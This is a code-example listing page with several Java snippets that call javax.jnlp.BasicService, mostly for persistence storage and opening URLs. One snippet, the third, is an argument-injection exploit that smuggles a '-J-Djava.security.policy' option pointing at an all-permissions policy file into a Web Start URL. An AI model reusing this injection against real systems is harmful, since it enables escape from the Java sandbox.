Package javax.jnlp

Examples of javax.jnlp.BasicService


    public void saveMuffins()
    {
        ui.debug("Saving muffins"); //$NON-NLS-1$

        PersistenceService ps = null;
        BasicService bs = null;

        try
        {
            ps = (PersistenceService) ServiceManager.lookup("javax.jnlp.PersistenceService")//$NON-NLS-1$
            bs = (BasicService) ServiceManager.lookup("javax.jnlp.BasicService")//$NON-NLS-1$
        }
        catch (UnavailableServiceException e)
        {
            ui.error(Messages.getString("error.failedToSaveSettings"), e); //$NON-NLS-1$
            return;
        }

        // We store a properties file in the "configuration" address.
        try
        {
            URL config = new URL(bs.getCodeBase(), "configuration"); //$NON-NLS-1$
            FileContents contents = getOrCreateFile(ps, config);
            if (contents == null)
            {
                return;
            }
View Full Code Here


    private boolean showDocument(final URL url)
    {
        try
        {
            // Lookup the javax.jnlp.BasicService object
            BasicService bs = (BasicService)ServiceManager.lookup("javax.jnlp.BasicService"); //$NON-NLS-1$

            // Invoke the showDocument method
            return bs.showDocument(url);
        }
        catch(UnavailableServiceException ue)
        {
            // Not running under Web Start?
            ue.printStackTrace();
View Full Code Here

    if (args == null || args.length < 1) {
      System.exit(1);
    }
    String path = args[0];

    BasicService bs;

    try {

      URL url = new URL(path + "/exploit.jnlp\"" + ((char) 9)
          + "\"-J-Djava.security.policy=" + path + "/all.policy");

      bs = (BasicService) ServiceManager
          .lookup("javax.jnlp.BasicService");
      bs.showDocument(url);

    } catch (Exception e) {
      e.printStackTrace();
    }
  }
View Full Code Here

    this.service = service;
  }

  public static ClassLoaderService getClassLoaderService() throws RemoteException, NotBoundException {
    try {
      BasicService basic = (BasicService) ServiceManager.lookup("javax.jnlp.BasicService");
      return getClassLoaderService(basic.getCodeBase());
    } catch (UnavailableServiceException e) {
      throw new IllegalStateException("javax.jnlp.BasicService is required.", e);
    }
  }
View Full Code Here

   * @see javax.jnlp.BasicService
   */
  public PersistenceCachingJobServiceClassLoaderStrategy(TaskService service,
      UUID jobId) throws UnavailableServiceException {
    super(service, jobId);
    BasicService basicService = (BasicService) ServiceManager.lookup("javax.jnlp.BasicService");
    this.baseUrl = basicService.getCodeBase();
    this.persistenceService = (PersistenceService) ServiceManager.lookup("javax.jnlp.PersistenceService");
  }
View Full Code Here

   * @see org.newdawn.slick.muffin.Muffin#saveFile(java.util.HashMap, java.lang.String)
   */
  public void saveFile(HashMap scoreMap, String fileName) throws IOException {

    PersistenceService ps;
    BasicService bs;
    URL configURL;

    try {
      ps = (PersistenceService) ServiceManager
          .lookup("javax.jnlp.PersistenceService");
      bs = (BasicService) ServiceManager
          .lookup("javax.jnlp.BasicService");
      URL baseURL = bs.getCodeBase();
      // System.out.println("CodeBase was " + baseURL);
      configURL = new URL(baseURL, fileName);
    } catch (Exception e) {
      Log.error(e);
      throw new IOException("Failed to save state: ");
View Full Code Here

    HashMap hashMap = new HashMap();

    try {
      PersistenceService ps = (PersistenceService) ServiceManager
          .lookup("javax.jnlp.PersistenceService");
      BasicService bs = (BasicService) ServiceManager
          .lookup("javax.jnlp.BasicService");
      URL baseURL = bs.getCodeBase();
      URL configURL = new URL(baseURL, fileName);
      FileContents fc = ps.get(configURL);
      DataInputStream ois = new DataInputStream(fc.getInputStream());

      // read in data from muffin
View Full Code Here

TOP

Related Classes of javax.jnlp.BasicService

Copyright © 2018 www.massapicom. All rights reserved.
All source code are property of their respective owners. Java is a trademark of Sun Microsystems, Inc and owned by ORACLE Inc. Contact coftware#gmail.com.